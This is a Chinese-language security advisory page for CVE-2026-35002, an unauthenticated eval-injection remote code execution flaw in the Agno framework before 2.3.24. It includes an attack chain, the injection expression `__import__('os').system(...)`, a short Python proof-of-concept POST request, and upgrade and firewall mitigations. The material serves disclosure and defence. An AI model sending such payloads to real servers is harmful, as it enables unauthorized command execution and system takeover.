IPBUF安全漏洞报告
English
CVE-2026-35002 CVSS 9.8 严重

CVE-2026-35002 Agno远程代码执行漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-35002
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Agno

相关标签

RCE代码注入AgnoCVE-2026-35002严重漏洞Eval注入

漏洞概述

Agno框架2.3.24之前版本存在严重安全漏洞。攻击者可利用模型执行组件中的缺陷,通过操纵FunctionCall中的`field_type`参数,向`eval()`函数注入恶意Python代码。由于缺乏必要的安全校验,未经身份认证的远程攻击者可利用此漏洞在服务器上执行任意系统命令,完全控制受影响系统,严重威胁数据安全与业务连续性。

技术细节

该漏洞的根本原因在于Agno在处理模型组件的FunctionCall时,存在不安全的直接对象引用或动态代码执行逻辑。攻击者通过控制API请求中的特定字段,具体为`field_type`参数,能够干预后端的数据处理流程。后端代码直接将该参数传递给Python的高风险函数`eval()`进行求值。由于`eval()`会执行字符串中的Python表达式,攻击者可以精心构造包含恶意代码的字符串,例如调用`__import__('os').system('id')`。由于攻击向量显示无需用户交互且网络可达,攻击者仅需向开放的API端点发送包含恶意负载的HTTP POST请求即可触发漏洞。一旦代码被执行,攻击者即可获得应用程序运行时的系统权限,进而读取敏感文件、安装后门或进行横向移动。这种漏洞属于典型的注入类漏洞,利用了程序对输入数据信任度过高的缺陷。

攻击链分析

STEP 1
1. 信息收集
攻击者识别互联网上暴露的Agno服务实例及其API端点。
STEP 2
2. 构造攻击载荷
攻击者编写包含恶意Python代码的字符串,并将其封装在FunctionCall的field_type参数中。
STEP 3
3. 发送恶意请求
攻击者向目标服务器发送特制的HTTP POST请求,无需经过身份认证。
STEP 4
4. 代码执行
服务器端接收请求并使用eval()函数处理field_type参数,导致恶意Python代码被执行。
STEP 5
5. 获取控制权
攻击者成功在服务器上执行任意命令,获得系统控制权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (example) target_url = "http://localhost:8000/api/execute" # Malicious payload to execute Python code # The vulnerability is in the 'field_type' parameter passed to eval() # This payload creates a file named 'pwned' in /tmp payload = """ __import__('os').system('touch /tmp/pwned') """ # Construct the malicious FunctionCall data structure data = { "function_call": { "name": "vulnerable_function", "arguments": "{}", "field_type": payload # Injection point } } headers = { "Content-Type": "application/json" } # Send the request try: response = requests.post(target_url, headers=headers, data=json.dumps(data)) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

影响范围

Agno < 2.3.24

防御指南

临时缓解措施
建议立即将Agno框架升级至2.3.24或更高版本,该版本已修复此漏洞。如无法立即升级,应在网络防火墙层面限制对Agno服务端口的访问,仅允许可信IP地址连接,并部署WAF规则以检测包含恶意Python语法的请求流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表